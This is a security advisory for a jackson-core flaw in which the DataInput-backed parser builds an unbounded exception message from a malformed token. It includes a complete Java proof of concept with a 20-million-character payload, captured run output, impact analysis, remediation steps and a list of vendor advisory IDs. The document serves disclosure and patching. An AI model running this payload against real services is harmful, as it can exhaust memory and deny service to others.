CVE-2026-89425
ADVISORY - githubSummary
Status
FULLY REPRODUCED. A malformed token fed through createParser(DataInput) produced a
20,000,109-character exception message from a 20-million-character attacker payload, while the
identical payload fed through createParser(InputStream) produced a correctly bounded
367-character message.
Affected Component / Version
- Package:
com.fasterxml.jackson.core:jackson-core - Confirmed against:
jackson-core-2.20.2 - Affected file:
src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java(_reportInvalidToken(int, String, String), lines ~2763-2780 in the 2.20.2 tree)
Technical Analysis
UTF8DataInputJsonParser._reportInvalidToken() builds the offending-token description for its
exception message by appending identifier characters one at a time to a bare StringBuilder:
protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {
StringBuilder sb = new StringBuilder(matchedPart);
while (true) {
char c = (char) _decodeCharForError(ch);
if (!Character.isJavaIdentifierPart(c)) {
break;
}
sb.append(c);
ch = _inputData.readUnsignedByte();
}
_reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg);
}
There is no check against ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)
anywhere in this loop. By contrast, the sibling UTF8StreamJsonParser implementation of the
same logic does enforce it:
// UTF8StreamJsonParser.java (control, correctly bounded)
if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {
sb.append("...");
break;
}
ReaderBasedJsonParser and NonBlockingUtf8JsonParserBase also correctly enforce the limit —
this is a defect isolated to the DataInput-backed implementation specifically, confirmed by
direct comparison of all four parser implementations in this tree.
This path is additionally left with no fallback control: because of [core#1570]-related
logic in JsonFactory, configuring maxDocumentLength causes DataInput-sourced parser
creation to be rejected outright, so a document-length backstop cannot coexist with this input
source, and the identifier-character accumulation never passes through
ReadConstrainedTextBuffer, so maxStringLength does not apply either. There is no
configuration an application can set to mitigate this specific path.
Reproduction Procedure
Same clone/build steps as jackson-core_1_...md. Then:
CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java
java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder
Full PoC Source (poc/PoC6_UnboundedErrorTokenStringBuilder.java)
import com.fasterxml.jackson.core.*;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;
public class PoC6_UnboundedErrorTokenStringBuilder {
static class RepeatingByteInputStream extends InputStream {
private final int b;
private long remaining;
RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }
@Override public int read() {
if (remaining <= 0) return -1;
remaining--;
return b;
}
}
public static void main(String[] args) throws Exception {
final long IDENTIFIER_CHAR_COUNT = 20_000_000L;
System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT
+ " Java-identifier characters ('x'), then a terminating space, never completing"
+ " \"true\"/\"false\"/\"null\"/NaN.\n");
System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===");
{
InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
DataInputStream dataIn = new DataInputStream(raw);
JsonFactory factory = new JsonFactory();
JsonParser p = factory.createParser((java.io.DataInput) dataIn);
long heapBefore = usedHeap();
long t0 = System.nanoTime();
String message = null;
try {
p.nextToken(); p.nextToken(); p.nextToken();
} catch (JsonParseException e) {
message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
} catch (IOException e) {
message = "(stream ended: " + e + ")";
}
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
long heapAfter = usedHeap();
int msgLen = message == null ? -1 : message.length();
System.out.println("Exception message length: " + msgLen + " characters");
System.out.println("Elapsed time: " + elapsedMs + " ms");
System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB");
System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT
+ "-character payload (unbounded)? " + (msgLen > 1_000_000));
}
System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===");
{
InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
JsonFactory factory = new JsonFactory();
JsonParser p = factory.createParser(raw);
long t0 = System.nanoTime();
String message = null;
try {
p.nextToken(); p.nextToken(); p.nextToken();
} catch (JsonParseException e) {
message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
} catch (IOException e) {
message = "(stream ended: " + e + ")";
}
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
int msgLen = message == null ? -1 : message.length();
System.out.println("Exception message length: " + msgLen + " characters");
System.out.println("Elapsed time: " + elapsedMs + " ms");
System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500));
}
}
static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {
InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);
return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));
}
static long usedHeap() {
Runtime rt = Runtime.getRuntime();
System.gc();
return rt.totalMemory() - rt.freeMemory();
}
}
Captured Evidence (actual run output)
Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating
space, never completing "true"/"false"/"null"/NaN.
=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===
Exception message length: 20000109 characters
Elapsed time: 81 ms
Approx additional heap used (best-effort, GC-noisy): 38 MB
Message length is proportional to the full 20000000-character attacker payload (unbounded)? true
=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===
Exception message length: 367 characters
Elapsed time: 7 ms
Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true
The same 20-million-character malformed token, fed to the two parser variants, produces a
367-character message via the correctly-bounded InputStream path and a 20,000,109-character
message via the vulnerable DataInput path — a difference of roughly 54,500x for identical
input, confirming the missing bound is the sole cause of the difference.
Impact
Any application creating parsers via JsonFactory.createParser(DataInput) over
attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth
from a single malformed token. Scaling the payload from the 20MB demonstrated here to
gigabytes (well within a typical unbounded request body) would drive the accumulated
StringBuilder — which additionally undergoes byte-to-char expansion and internal doubling —
to consume many times the raw payload size, realistically triggering OutOfMemoryError and
denying service to the whole JVM process. Critically, no available configuration mitigates
this: maxDocumentLength cannot be set for DataInput sources at all, and maxStringLength
does not apply to this code path.
Remediation
- Add the
maxErrorTokenLengthcheck to the append loop inUTF8DataInputJsonParser._reportInvalidToken(), appending"..."and breaking when the limit is reached — mirroring the three other parser implementations exactly. - Add a parameterized regression test across all four parser implementations asserting the
exception message length is bounded by
maxErrorTokenLengthplus a small constant. - Consider extracting this bounded-scan logic into a single shared helper on
ParserMinimalBaseto prevent this class of per-implementation drift recurring.
Common Weakness Enumeration (CWE)
Excessive Platform Resource Consumption within a Loop
NIST
CVSS SCORE
7.5highGitHub
CVSS SCORE
7.5highDebian
-
Ubuntu
-
CVSS SCORE
N/AmediumAlma
-
CVSS SCORE
N/AmediumAmazon
-
CVSS SCORE
N/AhighRed Hat
3.9
CVSS SCORE
7.5highRocky
-
CVSS SCORE
N/AlowOracle
-
CVSS SCORE
N/AmediumChainguard
CGA-h7j9-p5mf-m8cm
-
minimos
MINI-2262-hv4w-gx8f
-
minimos
MINI-27rx-cmrf-hj7q
-
minimos
MINI-2g5r-4789-qf79
-
minimos
MINI-2r8p-5vcj-5q5f
-
minimos
MINI-2rww-7vjj-pmp3
-
minimos
MINI-2xqq-qxmm-cp2w
-
minimos
MINI-35m7-7rpq-ccm4
-
minimos
MINI-3692-ph4f-66jg
-
minimos
MINI-3cmj-mpj3-wp4p
-
minimos
MINI-3m7v-64v5-49m8
-
minimos
MINI-3xm5-5hfc-2ch8
-
minimos
MINI-45ff-8f9x-4cw9
-
minimos
MINI-52gc-g9c9-qwcf
-
minimos
MINI-56mv-92gf-xhq4
-
minimos
MINI-56xq-g2xw-xqc8
-
minimos
MINI-59wm-6hc3-c6cj
-
minimos
MINI-5f27-854q-q34x
-
minimos
MINI-5j92-gc2x-wj4m
-
minimos
MINI-5w9j-7x9v-537m
-
minimos
MINI-67gq-m3q5-w299
-
minimos
MINI-6pvh-7f5v-8jpq
-
minimos
MINI-6wgq-v5cw-8v34
-
minimos
MINI-7252-r65p-3fx8
-
minimos
MINI-7w2m-m5c6-r63x
-
minimos
MINI-7w4w-4r6q-wcpj
-
minimos
MINI-7xv9-4m9q-84rg
-
minimos
MINI-827f-pjw3-84h4
-
minimos
MINI-867g-397j-73h4
-
minimos
MINI-88q6-rw47-m7wr
-
minimos
MINI-8qxc-7mjq-jwcj
-
minimos
MINI-8w98-3635-4rv8
-
minimos
MINI-9fgm-6mr2-292r
-
minimos
MINI-9hhm-5284-4ff9
-
minimos
MINI-9ppm-9g6c-v7f9
-
minimos
MINI-9vhf-vxvj-gwgc
-
minimos
MINI-c7cm-4xjf-fv9h
-
minimos
MINI-c99p-3xwj-73vr
-
minimos
MINI-cm99-7534-hqmq
-
minimos
MINI-cmxc-m795-rq33
-
minimos
MINI-f2ph-v43j-g5g7
-
minimos
MINI-f35c-3hm2-g665
-
minimos
MINI-f3q3-cjp7-f3vx
-
minimos
MINI-f5qf-46r6-pfpg
-
minimos
MINI-f62j-p9mp-665f
-
minimos
MINI-f6f4-xhcv-g33g
-
minimos
MINI-f86v-v2r9-fm5q
-
minimos
MINI-fcjw-6h4w-pgfr
-
minimos
MINI-fgvr-76j6-28j4
-
minimos
MINI-gp7h-9r77-f84j
-
minimos
MINI-gq95-gf4g-rfm2
-
minimos
MINI-grwr-pv57-vxpj
-
minimos
MINI-grxc-mq4m-jxxr
-
minimos
MINI-h2fc-3852-p6qf
-
minimos
MINI-hf4r-q429-jwjj
-
minimos
MINI-hfm2-cmcv-jghw
-
minimos
MINI-hgrp-3v6w-636g
-
minimos
MINI-hhw2-rjvr-8c8h
-
minimos
MINI-hm38-5357-7wqj
-
minimos
MINI-hwg6-4vm3-j3cm
-
minimos
MINI-hxmx-8hjf-cfc2
-
minimos
MINI-jfjc-324x-p45j
-
minimos
MINI-jmf8-gj2w-p97x
-
minimos
MINI-jphx-mrr6-g373
-
minimos
MINI-jvfc-c9f8-6r38
-
minimos
MINI-jvj9-j5h4-74g2
-
minimos
MINI-jxxp-hv66-8vhx
-
minimos
MINI-mpmq-w93w-p8gh
-
minimos
MINI-mq43-j2hp-vc93
-
minimos
MINI-pc74-phm4-w3hg
-
minimos
MINI-pf34-rr2j-ghg9
-
minimos
MINI-pggf-jc44-56wf
-
minimos
MINI-pjqx-vvqf-r69g
-
minimos
MINI-q7cf-jj4c-qr3p
-
minimos
MINI-qcvc-86jq-8983
-
minimos
MINI-qrmh-qjmq-45rj
-
minimos
MINI-r4p3-gcv3-fpjf
-
minimos
MINI-r55m-88qm-9vfx
-
minimos
MINI-r925-458f-6p7x
-
minimos
MINI-rj9p-gxr4-wrj3
-
minimos
MINI-vf3x-w4h8-q2qv
-
minimos
MINI-vh82-qjx5-5qhv
-
minimos
MINI-vj82-3pch-q7pp
-
minimos
MINI-vrv7-hrxm-wgg4
-
minimos
MINI-wc8g-5gpc-mrwf
-
minimos
MINI-wgh5-2g74-wg5g
-
minimos
MINI-wr67-5f74-f3rv
-
minimos
MINI-wxjq-2vvm-fq88
-
minimos
MINI-x2vg-38xv-2m3x
-
minimos
MINI-x453-3x2c-pvwh
-
minimos
MINI-xmq5-2ggf-g6r7
-